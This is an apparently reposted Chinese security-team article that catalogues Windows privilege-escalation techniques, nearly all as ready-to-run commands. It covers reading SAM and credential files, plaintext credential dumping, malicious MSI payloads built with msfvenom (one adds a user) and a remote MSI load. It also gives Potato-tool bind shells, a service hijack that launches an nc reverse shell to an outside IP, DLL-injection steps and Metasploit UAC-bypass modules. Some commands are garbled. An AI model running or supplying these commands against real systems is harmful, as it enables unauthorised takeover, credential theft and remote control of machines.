Windows提权基础
前置基础
基础信息查询
• Administrators:管理员组,默认情况下,Administrators中的用户对计算机/域有不受限制的完全访问权 • Power Users:高级用户组Power Users可以执行除了为Administrators组保留的任务外的其他任何操作系统任务 • Users:普通用户组,这个组的用户无法进行有意或无意的改动 • Guests:来宾组,来宾跟普通Users的成员有同等访问权,但来宾帐户的限制更多 • Everyone:所有的用户,这个计算机上的所有用户都属于这个组
提权名称解释
基础信息查询命令
#主机名
hostname
#查看系统名
wmic os get caption
#查看系统信息
systeminfo
#环境变量
set
#查看用户信息
net user
#查看当前安装程序
wmic product get name,version
#查看正在运行的进程列表
tasklist /svc | find "TermService"
#查看服务PID
netstat -and | find "1448"
#查看具体补丁信息
wmic qfe get Description,HotFixID,InstalledOn | findstr /C:"KBxxxxx" /C:"KBxxxxx"
查看目标重要配置命令
#查看系统版本
C:\boot.ini
#IIS配置文件
C:\Windows\System32\inetsrv\MetaBase.xml
#存储系统初次安装的密码
C:\Windows\repair\sam
#Mysql配置
C:\Program Files\mysql\my.ini
#Mysql root
C:\Program Files\mysql\data\mysql\user.MYD
#php配置信息
C:\Windows\php.ini
#Mysql配置信息
C:\Windows\my.ini
#Windows系统的一个基本系统配置文件
C:\Windows\win.ini
Windows提权
内核提权
wce-w
命令(Windows Credientials Editor)直接获取系统登录过的账号明文。cmdkey /list
查询当前存储的凭证;以存储凭证的用户执行命令runas /savecred /user:JIUSHI-PC\jiushi ""
//获取补丁信息
systeminfo或者systeminfo | findstr KB
Wmic qfe get Caption,Description,HotFixID,InstalledOn
//获取系统版本信息
systeminfo | findstr OS
• windows exploit suggester(GitHub项目链接) • powershell中的sherlock脚本(GitHub项目链接) • 在线辅助查询补丁特征&&杀毒软件识别网站(网站链接)
数据库提权
Mysql数据库udf提权
Mysql数据库反射端口提权
• 获取数据库的账号和密码,同时能够执行查询命令 • secure_file_priv=,可导出udf.dll到系统目录或者mysql数据库安装目录下的lib下plugin • 授权Mysql数据库远程用户的登录
Mysql数据库启动项提权
• secure_file_priv不为null • 已知账号和密码
Mysql数据库mof提权
• Windows2003及以下版本 • secure-file-priv=不为null • mysql启动身份具有权限去读写C:/windows/system32/wbem/mof/目录
SQLServer数据库xp_cmdshell提权
权限问题导致提权
计划任务提权
at 17:51 cmd.exe
schtasks /Query /TN MyService2
schtasks /Create /TN MyService2 /SC DAILY /ST 10:00:00 /TR cmd.exe /RU SYSTEM
schtasks /Delete /TN MyService2 /F
sc Create MyService binPath= "cmd /c start" type= own type= interact
sc start MyService
注册表提权
Perfusion.exe -c cmd -i
命令进行提权。情况如下所示:reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
命令探查注册表项或值是否存在。• SeRestorePrivilege • SeTakeOwnershipPrivilege
whoami /priv
命令进行探查!最后使用如下命令修改即可:reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
#隐藏界面安装
msiexec /q /i xxx.msi
#远程加载安装
msiexec /q /i http://192.168.101.146/test.msi (文件后缀名可以不为.msi)
#生成恶意.msi文件
msfvenom -p windows/adduser USER=test000 PASSWORD=password123! -f msi -o rotten.msi
#执行恶意文件
msiexec /quiet /qn /i .msi文件路径
#实战情况
msf create msi:msfvenom -p windows/x64/exec cmd=calc.exe -f msi -o test.msi
#msiexec install
msiexec /quiet /qn /i <msi.path>
#反之uninstall msi
msiexec /quiet /uninstall <msi.path>
#调用工具的CreateUser创建用户
MultiPotato.exe -t CreateUser
#MultiPotato将会监听命名管道“\.\pipe\pwned/pipe/srvsvc”;我们也可以通过-p选项来调整参数并使用其他的SYSTEM认证触发器
PetitPotamModified.exe localhost/pipe/pwned localhost
#使用SpoolSample触发器调用CreateProcessAsUserW
MultiPotato.exe -t CreateProcessAsUserW -p "pwned\pipe\spoolss" -e "C:\temp\stage2.exe"
MS-RPRN.exe \\192.168.100.150 \\192.168.100.150/pipe/pwned
#BindShell(SpoolSample管道)
MultiPotato.exe -t BindShell -p "pwned\pipe\spoolss"
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services
注册表项中。服务对应的程序路径存储在HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Vulnerable Service\服务名\ImagePath
。如果低权限用户对这个键值有写权限,攻击者就可以通过控制这个服务,远程运行目标程序,获取最高权限,达到提权的目的。https://www.microsoft.com/en-us/download/search.aspx?q=subinacl
subinacl.exe /key reg "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Vulnerable Service\服务名" /display
reg add "HKEY_LOCAL_MACHINESYSTEMControlSet001ServicesVulnerable Service360rp" /t REG_EXPAND_SZ /v ImagePath /d "C:programdataadduser.exe" /f
组策略提权
错误系统配置提权
系统服务权限配置错误提权
• 服务未运行:攻击者会使用任意服务来替换原来的服务,然后重启服务。 • 服务正在运行且无法被终止:这种情况符合绝大多数的漏洞利用情景,攻击者通常会利用DLL劫持技术并尝试重启服务来提权。
#使用命令行查找
powershell.exe -exec bypass -Command "&{Import-Module .\PowerUp.ps1; Invoke-AllChecks}"
• 停止USOSVC 服务:PS C:\Windows\system32> sc stop UsoSvc • 将服务执行的exe文件修改为nc,反弹shell:PS C:\Windows\system32> sc config usosvc binPath= "C:\GitStack\gitphp\nc.exe 192.168.25.31 4455 -e cmd.exe" • 将服务状态设置为自动启动:PS C:\Windows\system32> sc config usosvc start=auto • 启动服务:PS C:\Windows\system32> sc start usosvc
可信任服务漏洞提权
C:\Program Files\Some Folder\Service.exe
C:\Program.exeC:\Program Files\Some.exeC:\Program Files\Some Folder\Service.exe
#wmi查找含有漏洞的服务命令
wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr/i /v """
#查看指定目录的权限配置情况(路径可以自定义)
accesschk.exe -dqv "C:\tool" -accepteula
#PowerUp脚本
https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp
powershell.exe -exec bypass -Command "&{Import-Module .\PowerUp.ps1; Invoke-AllChecks}"
1. 获取目标进程PID 2. 提升Dropper进程权限 3. 打开目标进程 4. 在目标进程内开辟缓冲区,用来存储DLL的路径 5. 找到目标进程中加载的kernel32.dll的句柄,通过该句柄来获取目标进程中kernel32.dll的导出函数LoadLibrary函数的地址 6. 通过CreateRemoteThread函数来调用LoadLibrary,使目标进程加载Payload DLL
1. 读入原始DLL文件至内存缓冲区 2. 解析DLL标头并获取SizeOfImage 3. 将DLL标头和PE节复制到分配的内存空间 4. 执行重定位 5. 加载DLL导入的库 6. 解析导入地址表(IAT) 7. 调用DLL的DLL_PROCESS_ATTACH
绕过UAC提权
#弹出UAC确认窗口,点击后获得system权限
exploit/windows/local/ask
#此模块将通过进程注入使用可信任发布者证书绕过Windows UAC,它将生成关闭UAC标志的第二个shell
exploit/windows/local/bypassuac
#此模块将通过进程注入使用可信任的发布者证书绕过Windows UAC。它将生成关闭UAC标志的第二个shell。在普通技术中,该模块使用反射式DLL注入技术并只除去了DLL payload 二进制文件,而不是三个单独的二进制文件。但是,它需要选择正确的体系架构(对于SYSWOW64系统也使用x64)。如果指定exe::custom,应在单独的进程中启动 payload 后调用ExitProcess()
exploit/windows/local/bypassuac_injection
#此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows fodhelper.exe应用程序时调用的自定义命令来绕过Windows 10 UAC。它将生成关闭UAC标志的第二个shell。此模块修改注册表项,但在调用payload后将清除该项。该模块不需要payload的体系架构和操作系统匹配。如果指定exe:custom,则应在单独的进程中启动payload后调用ExitProcess()
exploit/windows/local/bypassuac_fodhelper
#此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows事件查看器时调用的自定义命令来绕过Windows UAC。它将生成关闭UAC标志的第二个shell。此模块修改注册表项,但在调用payload后将清除该项。该模块不需要payload的体系架构和操作系统匹配。如果指定EXE ::Custom,则应在单独的进程中启动payload后调用ExitProcess()
exploit/windows/local/bypassuac_eventvwr
#此模块将通过在hkcu配置单元中创建COM处理程序注册表项来绕过Windows UAC。当加载某些较高完整性级别进程时,会引用这些注册表项,从而导致进程加载用户控制的DLL,这些DLL包含导致会话权限提升的payload。此模块修改注册表项,但在调用payload后将清除该项,这个模块需要payload的体系架构和操作系统匹配,但是当前的低权限meterpreter会话体系架构中可能不同。如果指定exe::custom,则应在单独的进程中启动payloa后调用ExitProcess()。此模块通过目标上的cmd.exe调用目标二进制文件,因此,如果cmd.exe访问受到限制,此模块将无法正常运行
exploit/windows/local/bypassuac_comhijack
#cs
uac-dll
Invoke-PsUACme
uac-token-duplication
E
N
D
关
于
我
们
Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、系统安全、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。
团队作为“省级等保关键技术实验室”先后与哈工大、齐鲁银行、聊城大学、交通学院等多个高校名企建立联合技术实验室,近三年来在网络安全技术方面开展研发项目60余项,获得各类自主知识产权30余项,省市级科技项目立项20余项,研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。对安全感兴趣的小伙伴可以加入或关注我们。
微信扫码关注该文公众号作者
戳这里提交新闻线索和高质量文章给我们。
来源: qq
点击查看作者最近其他文章